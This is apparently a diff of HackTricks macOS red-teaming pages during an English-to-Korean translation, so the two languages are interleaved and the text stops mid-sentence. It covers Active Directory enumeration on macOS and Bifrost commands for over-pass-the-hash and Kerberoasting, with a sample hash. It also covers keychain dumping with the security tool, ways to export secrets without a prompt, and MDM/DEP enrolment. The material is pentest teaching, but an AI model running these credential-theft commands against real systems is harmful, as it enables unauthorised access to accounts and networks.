- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration.
### Domain Information
- [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 MacOS 호스트에서 Active Directory 관계를 수집하고 수집할 수 있도록 하는 Bloodhound 감사 도구의 확장입니다.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호작용하도록 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 타겟에 다른 프레임워크나 패키지를 요구하지 않고 네이티브 API를 사용하여 macOS 장치에서 Kerberos에 대한 보안 테스트를 개선하는 것입니다.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하기 위한 JavaScript for Automation (JXA) 도구입니다.
### 도메인 정보
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
### 사용자
### Users
MacOS 사용자 유형은 다음과 같습니다:
The three types of MacOS users are:
- **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 어떤 식으로도 연결되어 있지 않습니다.
- **네트워크 사용자** — DC 서버에 연결하여 인증을 요구하는 변동성 Active Directory 사용자입니다.
- **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다.
- **Local Users** — Managed by the local OpenDirectory service, they arent connected in any way to the Active Directory.
- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate.
- **Mobile Users** — Active Directory users with a local backup for their credentials and files.
사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default._ 폴더에 저장됩니다.\
예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 있습니다.
The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\
For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database:
- **CanSSH** - entity allowed to SSH to host
- **CanVNC** - entity allowed to VNC to host
- **CanAE** - entity allowed to execute AppleEvent scripts on host
HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가합니다**:
- **CanSSH** - 호스트에 SSH할 수 있는 엔티티
- **CanVNC** - 호스트에 VNC할 수 있는 엔티티
- **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티
```bash
#User enumeration
dscl . ls /Users
@ -182,71 +165,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"
#Domain Information
dsconfigad -show
```
더 많은 정보는 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)에서 확인하세요.
More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
### Computer$ password
Get passwords using:
### Computer$ 비밀번호
다음 방법으로 비밀번호를 가져옵니다:
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
It's possible to access the **`Computer$`** password inside the System keychain.
**`Computer$`** 비밀번호에 시스템 키체인에서 접근할 수 있습니다.
### Over-Pass-The-Hash
Get a TGT for an specific user and service:
특정 사용자 및 서비스에 대한 TGT를 가져옵니다:
```bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]
```
Once the TGT is gathered, it's possible to inject it in the current session with:
TGT가 수집되면, 현재 세션에 주입할 수 있습니다:
```bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local
```
### Kerberoasting
```bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
--username [user] --hash [hash] --enctype [enctype]
```
With obtained service tickets it's possible to try to access shares in other computers:
획득한 서비스 티켓을 사용하여 다른 컴퓨터의 공유에 접근할 수 있습니다:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
```
## 키체인 접근
## Accessing the Keychain
The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise:
키체인은 민감한 정보를 포함하고 있을 가능성이 높으며, 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있습니다:
{{#ref}}
macos-keychain.md
{{#endref}}
## External Services
## 외부 서비스
MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin.
MacOS 레드 팀은 일반적인 Windows 레드 팀과 다르며, 보통 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있습니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다.
## Misc Red Team techniques
## 기타 레드 팀 기술
### Safari
When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed:
Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동으로 열립니다**. 예를 들어, **zip 파일을 다운로드하면** 자동으로 압축이 해제됩니다:
<figure><img src="../../images/image (226).png" alt=""><figcaption></figcaption></figure>
## References
## 참고자료
- [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
- [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
@ -254,12 +226,5 @@ When a file is downloaded in Safari, if its a "safe" file, it will be **automati
- [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
- [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,60 +4,59 @@
## Main Keychains
- The **User Keychain** (`~/Library/Keychains/login.keychain-db`), which is used to store **user-specific credentials** like application passwords, internet passwords, user-generated certificates, network passwords, and user-generated public/private keys.
- The **System Keychain** (`/Library/Keychains/System.keychain`), which stores **system-wide credentials** such as WiFi passwords, system root certificates, system private keys, and system application passwords.
- It's possible to find other components like certificates in `/System/Library/Keychains/*`
- In **iOS** there is only one **Keychain** located in `/private/var/Keychains/`. This folder also contains databases for the `TrustStore`, certificates authorities (`caissuercache`) and OSCP entries (`ocspache`).
- Apps will be restricted in the keychain only to their private area based on their application identifier.
- **사용자 키체인** (`~/Library/Keychains/login.keychain-db`): 애플리케이션 비밀번호, 인터넷 비밀번호, 사용자 생성 인증서, 네트워크 비밀번호 및 사용자 생성 공개/개인 키와 같은 **사용자 특정 자격 증명**을 저장하는 데 사용됩니다.
- **시스템 키체인** (`/Library/Keychains/System.keychain`): WiFi 비밀번호, 시스템 루트 인증서, 시스템 개인 키 및 시스템 애플리케이션 비밀번호와 같은 **시스템 전체 자격 증명**을 저장합니다.
- `/System/Library/Keychains/*`에서 인증서와 같은 다른 구성 요소를 찾을 수 있습니다.
- **iOS**에는 `/private/var/Keychains/`에 위치한 **키체인**이 하나만 있습니다. 이 폴더에는 `TrustStore`, 인증서 기관(`caissuercache`) 및 OSCP 항목(`ocspache`)에 대한 데이터베이스도 포함되어 있습니다.
- 앱은 애플리케이션 식별자에 따라 키체인에서 자신의 개인 영역으로만 제한됩니다.
### Password Keychain Access
### 비밀번호 키체인 접근
These files, while they do not have inherent protection and can be **downloaded**, are encrypted and require the **user's plaintext password to be decrypted**. A tool like [**Chainbreaker**](https://github.com/n0fate/chainbreaker) could be used for decryption.
이 파일들은 본래 보호가 없고 **다운로드**할 수 있지만, 암호화되어 있으며 **사용자의 평문 비밀번호로 복호화**해야 합니다. [**Chainbreaker**](https://github.com/n0fate/chainbreaker)와 같은 도구를 사용하여 복호화할 수 있습니다.
## Keychain Entries Protections
## 키체인 항목 보호
### ACLs
Each entry in the keychain is governed by **Access Control Lists (ACLs)** which dictate who can perform various actions on the keychain entry, including:
키체인의 각 항목은 **액세스 제어 목록(ACLs)**에 의해 관리되며, 이는 키체인 항목에 대해 다양한 작업을 수행할 수 있는 사람을 규정합니다:
- **ACLAuhtorizationExportClear**: Allows the holder to get the clear text of the secret.
- **ACLAuhtorizationExportWrapped**: Allows the holder to get the clear text encrypted with another provided password.
- **ACLAuhtorizationAny**: Allows the holder to perform any action.
- **ACLAuhtorizationExportClear**: 보유자가 비밀의 평문을 가져올 수 있도록 허용합니다.
- **ACLAuhtorizationExportWrapped**: 보유자가 다른 제공된 비밀번호로 암호화된 평문을 가져올 수 있도록 허용합니다.
- **ACLAuhtorizationAny**: 보유자가 모든 작업을 수행할 수 있도록 허용합니다.
The ACLs are further accompanied by a **list of trusted applications** that can perform these actions without prompting. This could be:
ACLs는 이러한 작업을 사용자에게 요청 없이 수행할 수 있는 **신뢰할 수 있는 애플리케이션 목록**과 함께 제공됩니다. 이는 다음과 같을 수 있습니다:
- **N`il`** (no authorization required, **everyone is trusted**)
- An **empty** list (**nobody** is trusted)
- **List** of specific **applications**.
- **N`il`** (인증 필요 없음, **모두 신뢰됨**)
- **빈** 목록 (**아무도** 신뢰되지 않음)
- 특정 **애플리케이션**의 **목록**.
Also the entry might contain the key **`ACLAuthorizationPartitionID`,** which is use to identify the **teamid, apple,** and **cdhash.**
또한 항목에는 **`ACLAuthorizationPartitionID`**라는 키가 포함될 수 있으며, 이는 **teamid, apple,** 및 **cdhash**를 식별하는 데 사용됩니다.
- If the **teamid** is specified, then in order to **access the entry** value **withuot** a **prompt** the used application must have the **same teamid**.
- If the **apple** is specified, then the app needs to be **signed** by **Apple**.
- If the **cdhash** is indicated, then **app** must have the specific **cdhash**.
- **teamid**가 지정된 경우, **프롬프트 없이** 항목 값을 **액세스**하려면 사용된 애플리케이션이 **같은 teamid**를 가져야 합니다.
- **apple**이 지정된 경우, 앱은 **Apple**에 의해 **서명**되어야 합니다.
- **cdhash**가 표시된 경우, **앱**은 특정 **cdhash**를 가져야 합니다.
### Creating a Keychain Entry
### 키체인 항목 생성
When a **new** **entry** is created using **`Keychain Access.app`**, the following rules apply:
**`Keychain Access.app`**를 사용하여 **새로운** **항목**이 생성될 때 다음 규칙이 적용됩니다:
- All apps can encrypt.
- **No apps** can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change ACLs.
- The **partitionID** is set to **`apple`**.
- 모든 앱이 암호화할 수 있습니다.
- **어떤 앱도** 내보내기/복호화할 수 없습니다(사용자에게 프롬프트 없이).
- 모든 앱이 무결성 검사를 볼 수 있습니다.
- 어떤 앱도 ACL을 변경할 수 없습니다.
- **partitionID**는 **`apple`**로 설정됩니다.
When an **application creates an entry in the keychain**, the rules are slightly different:
**애플리케이션이 키체인에 항목을 생성할 때** 규칙은 약간 다릅니다:
- All apps can encrypt.
- Only the **creating application** (or any other apps explicitly added) can export/decrypt (without prompting the user).
- All apps can see the integrity check.
- No apps can change the ACLs.
- The **partitionID** is set to **`teamid:[teamID here]`**.
- 모든 앱이 암호화할 수 있습니다.
- **생성하는 애플리케이션**(또는 명시적으로 추가된 다른 앱)만 내보내기/복호화할 수 있습니다(사용자에게 프롬프트 없이).
- 모든 앱이 무결성 검사를 볼 수 있습니다.
- 어떤 앱도 ACL을 변경할 수 없습니다.
- **partitionID**는 **`teamid:[teamID here]`**로 설정됩니다.
## Accessing the Keychain
## 키체인 접근
### `security`
```bash
# List keychains
security list-keychains
@ -74,58 +73,57 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
# Dump specifically the user keychain
security dump-keychain ~/Library/Keychains/login.keychain-db
```
### APIs
> [!TIP]
> The **keychain enumeration and dumping** of secrets that **won't generate a prompt** can be done with the tool [**LockSmith**](https://github.com/its-a-feature/LockSmith)
> **키체인 열거 및 비밀 덤프**는 **프롬프트를 생성하지 않는** 비밀에 대해 도구 [**LockSmith**](https://github.com/its-a-feature/LockSmith)를 사용하여 수행할 수 있습니다.
>
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
> 다른 API 엔드포인트는 [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) 소스 코드에서 찾을 수 있습니다.
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
**Security Framework**를 사용하여 각 키체인 항목에 대한 **정보**를 나열하고 가져오거나, Apple의 오픈 소스 CLI 도구 [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.**를 확인할 수도 있습니다. 몇 가지 API 예시:
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
- **`kSecReturnAttributes`**: Get metadata about entries
- **`kSecMatchLimit`**: How many results to return
- **`kSecClass`**: What kind of keychain entry
- API **`SecItemCopyMatching`**은 각 항목에 대한 정보를 제공하며, 사용할 때 설정할 수 있는 몇 가지 속성이 있습니다:
- **`kSecReturnData`**: true인 경우 데이터를 복호화하려고 시도합니다(팝업을 피하려면 false로 설정).
- **`kSecReturnRef`**: 키체인 항목에 대한 참조도 가져옵니다(나중에 팝업 없이 복호화할 수 있는 경우 true로 설정).
- **`kSecReturnAttributes`**: 항목에 대한 메타데이터를 가져옵니다.
- **`kSecMatchLimit`**: 반환할 결과 수.
- **`kSecClass`**: 어떤 종류의 키체인 항목인지.
Get **ACLs** of each entry:
각 항목의 **ACL**을 가져옵니다:
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
- Description
- **Trusted Application List**. This could be:
- An app: /Applications/Slack.app
- A binary: /usr/libexec/airportd
- A group: group://AirPort
- API **`SecAccessCopyACLList`**를 사용하여 **키체인 항목에 대한 ACL**을 가져올 수 있으며, 각 목록에는 다음과 같은 ACL 목록이 반환됩니다(예: `ACLAuhtorizationExportClear` 및 이전에 언급된 다른 항목들):
- 설명
- **신뢰할 수 있는 애플리케이션 목록**. 이는 다음과 같을 수 있습니다:
- 애플리케이션: /Applications/Slack.app
- 바이너리: /usr/libexec/airportd
- 그룹: group://AirPort
Export the data:
데이터를 내보냅니다:
- The API **`SecKeychainItemCopyContent`** gets the plaintext
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
- API **`SecKeychainItemCopyContent`**는 평문을 가져옵니다.
- API **`SecItemExport`**는 키와 인증서를 내보내지만, 암호화된 콘텐츠를 내보내려면 암호를 설정해야 할 수 있습니다.
And these are the **requirements** to be able to **export a secret without a prompt**:
그리고 **프롬프트 없이 비밀을 내보내기 위한 요구 사항**은 다음과 같습니다:
- If **1+ trusted** apps listed:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
- Need code signature to match **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
- If **all applications trusted**:
- Need the appropriate **authorizations**
- Need code signature to match **PartitionID**
- If **no PartitionID**, then this isn't needed
- **1개 이상의 신뢰할 수 있는** 애플리케이션이 나열된 경우:
- 적절한 **권한**이 필요합니다 (**`Nil`**, 또는 비밀 정보에 접근하기 위한 권한의 허용 목록에 **포함**되어야 함).
- 코드 서명이 **PartitionID**와 일치해야 합니다.
- 코드 서명이 하나의 **신뢰할 수 있는 애플리케이션**과 일치해야 합니다(또는 올바른 KeychainAccessGroup의 구성원이어야 함).
- **모든 애플리케이션이 신뢰할 수 있는** 경우:
- 적절한 **권한**이 필요합니다.
- 코드 서명이 **PartitionID**와 일치해야 합니다.
- **PartitionID**가 없는 경우, 이는 필요하지 않습니다.
> [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
> 따라서 **1개의 애플리케이션이 나열된 경우**, 해당 애플리케이션에 **코드를 주입해야** 합니다.
>
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
> **apple**이 **partitionID**에 표시된 경우, **`osascript`**를 사용하여 접근할 수 있으며, partitionID에 apple이 포함된 모든 애플리케이션을 신뢰할 수 있습니다. **`Python`**도 이를 위해 사용할 수 있습니다.
### Two additional attributes
### 두 가지 추가 속성
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
- **Invisible**: UI 키체인 앱에서 항목을 **숨기기** 위한 부울 플래그입니다.
- **General**: **메타데이터**를 저장하기 위한 것입니다(따라서 **암호화되지 않음**).
- Microsoft는 민감한 엔드포인트에 접근하기 위해 모든 리프레시 토큰을 평문으로 저장하고 있었습니다.
## References

View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:**
**macOS MDM에 대해 알아보려면 다음을 확인하세요:**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics
## 기본 사항
### **MDM (Mobile Device Management) Overview**
### **MDM (모바일 장치 관리) 개요**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include:
[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)은 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에 대해 전문화된 기능, API 및 관행의 집합이 포함됩니다. MDM의 작동은 상용 또는 오픈 소스의 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다:
- Centralized control over devices.
- Dependence on an MDM server that adheres to the MDM protocol.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation.
- 장치에 대한 중앙 집중식 제어.
- MDM 프로토콜을 준수하는 MDM 서버에 의존.
- MDM 서버가 원격 데이터 삭제 또는 구성 설치와 같은 다양한 명령을 장치에 전송할 수 있는 기능.
### **Basics of DEP (Device Enrollment Program)**
### **DEP (장치 등록 프로그램) 기본 사항**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include:
Apple에서 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 사항은 다음과 같습니다:
- Enables devices to autonomously register with a pre-defined MDM server upon initial activation.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly.
- 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자율적으로 등록할 수 있도록 합니다.
- 주로 새 장치에 유용하지만 재구성 중인 장치에도 적용 가능합니다.
- 간단한 설정을 통해 장치를 신속하게 조직에서 사용할 수 있도록 합니다.
### **Security Consideration**
### **보안 고려 사항**
It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device.
DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초래할 수 있습니다. MDM 등록에 대한 보호 조치가 적절하게 시행되지 않으면 공격자가 이 간소화된 프로세스를 악용하여 자신의 장치를 조직의 MDM 서버에 등록하고 기업 장치로 가장할 수 있습니다.
> [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place.
> **보안 경고**: 간소화된 DEP 등록은 적절한 보호 장치가 마련되지 않은 경우 조직의 MDM 서버에 무단 장치 등록을 허용할 수 있습니다.
### Basics What is SCEP (Simple Certificate Enrolment Protocol)?
### SCEP (간단한 인증서 등록 프로토콜)란 무엇인가요?
- A relatively old protocol, created before TLS and HTTPS were widespread.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate.
- TLS 및 HTTPS가 널리 퍼지기 전에 만들어진 비교적 오래된 프로토콜입니다.
- 클라이언트가 인증서를 부여받기 위해 **인증서 서명 요청** (CSR)을 보내는 표준화된 방법을 제공합니다. 클라이언트는 서버에 서명된 인증서를 요청합니다.
### What are Configuration Profiles (aka mobileconfigs)?
### 구성 프로파일(모바일 구성 파일)이란 무엇인가요?
- Apples official way of **setting/enforcing system configuration.**
- File format that can contain multiple payloads.
- Based on property lists (the XML kind).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018.
- Apple의 공식적인 **시스템 구성 설정/강제 적용 방법**입니다.
- 여러 페이로드를 포함할 수 있는 파일 형식입니다.
- 속성 목록(XML 형식)을 기반으로 합니다.
- “출처를 검증하고 무결성을 보장하며 내용을 보호하기 위해 서명 및 암호화될 수 있습니다.” 기본 사항 — 페이지 70, iOS 보안 가이드, 2018년 1월.
## Protocols
## 프로토콜
### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries**
- All over **HTTPS**. MDM servers can be (and are usually) pinned.
- Apple grants the MDM vendor an **APNs certificate** for authentication
- APNs (**Apple 서버**) + RESTful API (**MDM** **공급업체** 서버)의 조합
- **통신**은 **장치**와 **장치 관리** **제품**과 관련된 서버 간에 발생합니다.
- **명령**은 MDM에서 장치로 **plist 인코딩된 사전**으로 전달됩니다.
- 모두 **HTTPS**를 통해 이루어집니다. MDM 서버는 (대개) 핀 고정됩니다.
- Apple은 인증을 위해 MDM 공급업체에 **APNs 인증서**를 부여합니다.
### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
- More modern and **JSON** based (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor
- **3개의 API**: 1개는 리셀러용, 1개는 MDM 공급업체용, 1개는 장치 식별용(문서화되지 않음):
- 이른바 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 DEP 프로파일을 특정 장치와 연결하는 데 사용됩니다.
- [Apple 공인 리셀러가 사용하는 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)로 장치를 등록하고, 등록 상태를 확인하며, 거래 상태를 확인합니다.
- 문서화되지 않은 개인 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 역할을 합니다.
- 더 현대적이고 **JSON** 기반입니다(대비 plist).
- Apple은 MDM 공급업체에 **OAuth 토큰**을 부여합니다.
**DEP "cloud service" API**
**DEP "클라우드 서비스" API**
- RESTful
- sync device records from Apple to the MDM server
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on)
- A DEP “profile” contains:
- MDM vendor server URL
- Additional trusted certificates for server URL (optional pinning)
- Extra settings (e.g. which screens to skip in Setup Assistant)
- Apple에서 MDM 서버로 장치 기록 동기화
- MDM 서버에서 Apple로 “DEP 프로파일” 동기화(나중에 장치에 전달됨)
- DEP “프로파일”에는 다음이 포함됩니다:
- MDM 공급업체 서버 URL
- 서버 URL에 대한 추가 신뢰할 수 있는 인증서(선택적 핀 고정)
- 추가 설정(예: 설정 도우미에서 건너뛸 화면)
## Serial Number
## 일련 번호
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는** **제조 연도**와 **주**를 나타내며, 다음 **세 자리는** **고유 식별자**를 제공하고, **마지막 네 자리는** **모델 번호**를 나타냅니다.
{{#ref}}
macos-serial-number.md
{{#endref}}
## Steps for enrolment and management
## 등록 및 관리 단계
1. Device record creation (Reseller, Apple): The record for the new device is created
2. Device record assignment (Customer): The device is assigned to a MDM server
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple
4. DEP check-in (Device): Device gets his DEP profile
5. Profile retrieval (Device)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance (Device)
1. 장치 기록 생성 (리셀러, Apple): 새 장치에 대한 기록이 생성됩니다.
2. 장치 기록 할당 (고객): 장치가 MDM 서버에 할당됩니다.
3. 장치 기록 동기화 (MDM 공급업체): MDM이 장치 기록을 동기화하고 DEP 프로파일을 Apple에 푸시합니다.
4. DEP 체크인 (장치): 장치가 자신의 DEP 프로파일을 받습니다.
5. 프로파일 검색 (장치)
6. 프로파일 설치 (장치) a. MDM, SCEP 및 루트 CA 페이로드 포함
7. MDM 명령 발행 (장치)
![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
파일 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`는 등록 프로세스의 **고급 "단계"**로 간주될 수 있는 기능을 내보냅니다.
### Step 4: DEP check-in - Getting the Activation Record
### 단계 4: DEP 체크인 - 활성화 기록 가져오기
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe)
이 프로세스의 일부는 **사용자가 Mac을 처음 부팅할 때** (또는 완전 초기화 후) 발생합니다.
![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment`
또는 `sudo profiles show -type enrollment`을 실행할 때 발생합니다.
- Determine **whether device is DEP enabled**
- Activation Record is the internal name for **DEP “profile”**
- Begins as soon as the device is connected to Internet
- Driven by **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record.
- LaunchDaemon (always runs as root)
- **장치가 DEP 활성화되었는지 여부 확인**
- 활성화 기록은 **DEP “프로파일”**의 내부 이름입니다.
- 장치가 인터넷에 연결되면 시작됩니다.
- **`CPFetchActivationRecord`**에 의해 구동됩니다.
- **`cloudconfigurationd`**에 의해 XPC를 통해 구현됩니다. **"설정 도우미"** (장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다.
- LaunchDaemon (항상 root로 실행됨)
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe**
